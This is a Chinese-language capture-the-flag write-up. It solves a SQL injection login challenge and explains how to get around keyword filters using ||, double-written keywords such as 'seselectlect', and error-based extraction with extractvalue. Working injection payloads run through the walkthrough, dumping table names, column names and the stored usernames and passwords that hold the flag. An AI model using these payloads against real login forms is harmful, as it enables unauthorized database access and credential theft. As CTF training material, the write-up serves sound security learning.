知识点:
- 功能分析
- 登录界面一般是 where username ='' and password = ''
- 可以从username出手,注释掉and语句
- 单引号闭合绕过
- 通过测试和报错信息发现是一个单引号读取输入
- 可以单引号闭合绕过
- 关键字过滤
- or and 过滤
- || &&替换
- 双写绕过
- select from where mid substr substring 等关键字进行过滤了
- 双写绕过
- or and 过滤
- 报错注入
-
- 登录成功界面没有有价值的回显信息,无法进行联合注入
- 由于测试中发现有完整的报错信息,可以进行错误注入
- 报错函数
- exp(710)
- extractvalue()
- updatexml()
- 报错函数最多展现32位数据
- 既然能报错注入了,盲注肯定也是可以的
- 布尔盲注
- 根据页面是否成功登录判断信息
- 时间盲注
- 根据数据是否超时进行爆破数据
- 不建议用这种方法,作者太狗了,数据太长了,爆破的话可能会出现很多的429数据包,影响识别结果,好像有一道类似的sql注入,也是该作者出的,只能盲注判断,数据包中出现太多的429数据包导致最后的出的信息总是残缺的,只能10字符左右为单位进行爆破才不会出现429,但是总长度213,而且前面表名、字段名都得这么做才行,太狗了,真是畜生啊,不细说了,都是泪呀
- 布尔盲注
开始解题吧
查看界面是一个登录框
通过bp抓包进行测试
先判断注入类型
构造payload:username=3'+or+1=1--+
发现返回了完整的错误提示,一开始没明白是什么意思,更换payload测了几次后才发觉or应该被过滤了,尝试了or 'a'='a'--+ or '1'='1' --+;
找绕过手段
通过报错提示发现这里or被过滤了,直接用||替换发现成功绕过;当然这里也是可以利用双写绕过的,做的时候没想到双写绕过,但是在后面information处老是过不去才发觉中间有个or,双写成功绕过了,不细说了,后面见
既然能成功注入了,又获得了完整的错误提示
获取数据库名
获取数据库名;构造payload:username=3'+||+extractvalue(1,concat(0x7e,database(),0x7e))=1--+
成功获取到了数据库名为geek
好了,接下来就获取数据库中的所有表名吧
构造payload:username=3'+||+extractvalue(1,concat(0x7e,(seselectlect+group_concat(table_name)+frfromom+infoorrmation_schema.tables+whewherere+table_schema='geek'),0x7e))=1--+
这个过程中用到了很多的双写绕过;成功获取到了表名:b4bsql 和 geekuser
geekuser感觉很正常,应该是一个用户数据库,b4bsql这个数据库看着很可疑,flag应该就在这里了,先搞这个数据库
查看这个表中有哪些字段
构造payload:username=3'+||+extractvalue(1,concat(0x7e,(seselectlect+group_concat(column_name)+frfromom+infoorrmation_schema.columns+whewherere+table_name='b4bsql'),0x7e))=1--+
成功出了字段信息,只有三个字段id、username、password
尝试获取一下用户名和密码信息
构造payload:username=3'+||+extractvalue(1,concat(0x7e,mimidd((seselectlect+group_concat(username,':',passwoorrd)+frfromom+b4bsql)+,181,30),0x7e))=1--+
成功看到了flag的影子;指出来一部分,还有一部分没出来
继续构造payload:username=3'+||+extractvalue(1,concat(0x7e,mimidd((seselectlect+group_concat(username,':',passwoorrd)+frfromom+b4bsql)+,211,30),0x7e))=1--+
好了,后面的部分也全部出来了
拼接起来是:flag{1272f1b5-2209-42c5-9d9f-c490ef6e05ec}
可能每次出现的flag都不一样,所以不要直接用我这个flag,掌握思路最重要
由于报错函数只能显示32位,所以我这里利用了截取函数(双写绕过),利用开头结尾两个~符号进行判断,中间30位为读取的数据,这里发现数据不完全是因为没用截取函数时后面的~没出现,所以采用截取函数看一下;实际数据两百多位,作者是真的狗,flag还放在最后面
按理说到这里就结束了
但是,处于好奇心,我还是看了一下geekuser中的数据,字段同样为id username password;但是数据只有一条,就是成功登录时的admin用户和密码
好了,到这里就真的结束了
虽然过程坎坷曲折,但是结果还是做出来了,flag自己找的
就是要硬气一回,轻轻松松拿捏作者~~~
就这,我还没发力呢~~~~~~
10